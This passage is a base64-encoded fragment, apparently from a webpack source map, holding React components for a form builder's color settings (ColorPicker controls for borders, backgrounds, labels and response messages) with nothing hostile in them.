5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGaWVsZCBHcm91cCcgKSB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQ8R3JvdXBDb2xvcnMgeyAuLi50aGlzLnByb3BzIH0gLz5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdSZXBlYXRlciBCdXR0b24nICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGJveGVkQ29udGVudD17IGZhbHNlIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdDxSZXBlYXRlckNvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8L0FjY29yZGlvbj5cblxuXHRcdFx0XHRcdFx0XHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHRcdFx0XHRcdFx0XHR9XG5cblx0XHRcdFx0XHRcdFx0XHR7IGhhc1BhZ2luYXRpb24gJiZcblx0XHRcdFx0XHRcdFx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC8qKlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1BhZ2luYXRpb24nICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0PFBhZ2luYXRpb25Db2xvcnMgeyAuLi50aGlzLnByb3BzIH0gLz5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdCovIH1cblxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8QWNjb3JkaW9uXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0J1dHRvbiBCYWNrJyApIH1cblx0XHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdDxCYWNrQ29sb3JzIHsgLi4udGhpcy5wcm9wcyB9IC8+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdFx0XHRcdDxBY2NvcmRpb25cblx0XHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQnV0dG9uIE5leHQnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0PE5leHRDb2xvcnMgeyAuLi50aGlzLnByb3BzIH0gLz5cblx0XHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cblx0XHRcdFx0XHRcdFx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdFx0eyAoIGhhc0NvbnNlbnQgKSAmJlxuXHRcdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0NvbnNlbnQnICkgfVxuXHRcdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0XHQ8Q29uc2VudENvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdFx0PC9BY2NvcmRpb24+XG5cdFx0XHRcdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnU3VibWl0IEJ1dHRvbicgKSB9XG5cdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0PFN1Ym1pdENvbG9ycyB7IC4uLnRoaXMucHJvcHMgfSAvPlxuXHRcdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdDwvZGl2PlxuXG5cdFx0XHRcdFx0XHQ8L0NvbnRhaW5lcj5cblxuXHRcdFx0XHRcdDwvUmFkaW9UYWJzPlxuXG5cdFx0XHRcdDwvZGl2PlxuXG5cdFx0XHQ8L2Rpdj5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvZm9ybS9jb21wb25lbnRzL2FwcGVhcmFuY2UvY29sb3JzLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSwgZ2V0VGhlbWVQcmVmaXgsIGdldERlZmF1bHRWYWx1ZSB9IGZyb20gJy4uLy4uLy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IENvbG9yUGlja2VyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2lucHV0cy9jb2xvci1waWNrZXInO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBCYXNpY0NvbG9ycyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRyZXR1cm4gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMwMDAwMDAwMFwiKSB9YH1cblx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jZm9ybS1mb3JtLWJvcmRlcmB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCb3JkZXIgY29sb3InICkgfVxuXHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0Lz5cblx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMDAwMDAwMDBcIikgfWB9XG5cdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2Zvcm0tZm9ybS1iYWNrZ3JvdW5kYH1cblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0Lz5cblx0XHRcdDwvUmVhY3QuRnJhZ21lbnQ+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2NvbG9ycy9mb3JtLWNvbnRhaW5lci5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgR2xvYmFsQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzc3Nzc3MVwiKSB9YH1cblx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jZm9ybS1sYWJlbC1jb2xvcmB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdMYWJlbCcgKSB9XG5cdFx0XHRcdC8+XG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0UwNDU2MlwiKSB9YH1cblx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jZm9ybS1hc3Rlcmlzay1jb2xvcmB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdSZXF1aXJlZCBhc3RlcmlzaycgKSB9XG5cdFx0XHRcdC8+XG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzc3Nzc3MVwiKSB9YH1cblx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1sYWJlbC1oZWxwZXItY29sb3JgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRGVzY3JpcHRpb24nICkgfVxuXHRcdFx0XHQvPlxuXHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGOUU0RThcIikgfWB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1sYWJlbC12YWxpZGF0aW9uLWJhY2tncm91bmRgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdFcnJvciBtZXNzYWdlIEJHJyApIH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHR9XG5cdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0UwNDU2MlwiKSB9YH1cblx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1sYWJlbC12YWxpZGF0aW9uLWNvbG9yYH1cblx0XHRcdFx0XHRsYWJlbD17IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJ1xuXHRcdFx0XHRcdFx0PyB0cmFuc2xhdGUoICdFcnJvciBtZXNzYWdlIGNvbG9yJyApXG5cdFx0XHRcdFx0XHQ6IHRyYW5zbGF0ZSggJ0dsb2JhbCBlcnJvciBjb2xvcicgKVxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHRkZXNjcmlwdGlvbj17IHRoaXMucHJvcHMuZm9ybURlc2lnbiA9PT0gJ21hdGVyaWFsJ1xuXHRcdFx0XHRcdFx0PyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHRcdCdUaGlzIGNvbG9yIHdpbGwgYmUgdXNlZCB3aGVuIGZpZWxkcyB0aHJvdyBhbiAnICtcblx0XHRcdFx0XHRcdFx0J2Vycm9yIGFzIHRleHQgY29sb3IsIGJvcmRlciBjb2xvciwgZXRjLidcblx0XHRcdFx0XHRcdClcblx0XHRcdFx0XHRcdDogJydcblx0XHRcdFx0XHR9XG5cdFx0XHRcdC8+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvZmllbGRzLWJhc2ljcy5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUmVzcG9uc2VMb2FkaW5nQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnbWF0ZXJpYWwnICYmXG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0Y4RjhGOFwiKSB9YH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlc3BvbnNlLWxvYWRpbmctYmFja2dyb3VuZGB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdH1cblx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNjY2NjY2XCIpIH1gfVxuXHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlc3BvbnNlLWxvYWRpbmctY29sb3JgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdC8+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvcmVzcG9uc2UtbG9hZGluZy5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUmVzcG9uc2VFcnJvckNvbG9ycyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRyZXR1cm4gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ2ZsYXQnICYmXG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0UwNDU2MlwiKSB9YH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlc3BvbnNlLWVycm9yLWJvcmRlcmB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0fVxuXHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGOUU0RThcIikgfWB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1yZXNwb25zZS1lcnJvci1iYWNrZ3JvdW5kYH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0fVxuXHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMzMzMzMzNcIikgfWB9XG5cdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9cmVzcG9uc2UtZXJyb3ItY29sb3JgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdC8+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvcmVzcG9uc2UtZXJyb3IuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgdHJhbnNsYXRlLCBnZXRUaGVtZVByZWZpeCwgZ2V0RGVmYXVsdFZhbHVlIH0gZnJvbSAnLi4vLi4vLi4vLi4vdXRpbHMnO1xuXG5pbXBvcnQgQ29sb3JQaWNrZXIgZnJvbSAnLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2NvbG9yLXBpY2tlcic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFJlc3BvbnNlU3VjY2Vzc0NvbG9ycyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRyZXR1cm4gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHR7IHRoaXMucHJvcHMuZm9ybURlc2lnbiAhPT0gJ2ZsYXQnICYmXG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzFBQkNBMVwiKSB9YH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlc3BvbnNlLXN1Y2Nlc3MtYm9yZGVyYH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQm9yZGVyIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHR9XG5cdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnbWF0ZXJpYWwnICYmXG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0JDRUVFNlwiKSB9YH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlc3BvbnNlLXN1Y2Nlc3MtYmFja2dyb3VuZGB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdH1cblx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjMzMzMzMzXCIpIH1gfVxuXHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfXJlc3BvbnNlLXN1Y2Nlc3MtY29sb3JgfVxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnVGV4dCBjb2xvcicgKSB9XG5cdFx0XHRcdC8+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvcmVzcG9uc2Utc3VjY2Vzcy5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgU2VjdGlvbkNvbG9ycyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRyZXR1cm4gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHQ8Q29sb3JQaWNrZXIgeyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ1RpdGxlIGNvbG9yJyApIH1cblx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1jZm9ybS10aXRsZS1jb2xvcmB9XG5cdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzMzMzMzM1wiKSB9YH0gLz5cblx0XHRcdFx0PENvbG9yUGlja2VyIHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdTdWJ0aXRsZSBjb2xvcicgKSB9XG5cdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9Y2Zvcm0tc3VidGl0bGUtY29sb3JgfVxuXHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMzMzMzMzNcIikgfWB9IC8+XG5cdFx0XHQ8L1JlYWN0LkZyYWdtZW50PlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvc2VjdGlvbi5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUsIGdldFRoZW1lUHJlZml4LCBnZXREZWZhdWx0VmFsdWUgfSBmcm9tICcuLi8uLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb2xvclBpY2tlciBmcm9tICcuLi8uLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvY29sb3ItcGlja2VyJztcbmltcG9ydCBUYWJzIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvdGFicyc7XG5pbXBvcnQgQ29udGFpbmVyIGZyb20gJy4uLy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvY29udGFpbmVyJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgSW5wdXRzQ29sb3JzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8VGFic1xuXHRcdFx0XHRkZWZhdWx0PVwiZGVmYXVsdFwiXG5cdFx0XHRcdHR5cGU9XCJ0YWJzXCJcblx0XHRcdFx0ZXh0cmFDbGFzcz1cInN1aS10YWJzLWZsdXNoZWRcIlxuXHRcdFx0PlxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdEZWZhdWx0JyApIH1cblx0XHRcdFx0XHR2YWx1ZT1cImRlZmF1bHRcIlxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLmZvcm1EZXNpZ24gIT09ICdmbGF0JyAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQm9yZGVyIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9aW5wdXQtYm9yZGVyYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiIzc3Nzc3MVwiKSB9YH1cblx0XHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdFx0Lz5cblx0XHRcdFx0XH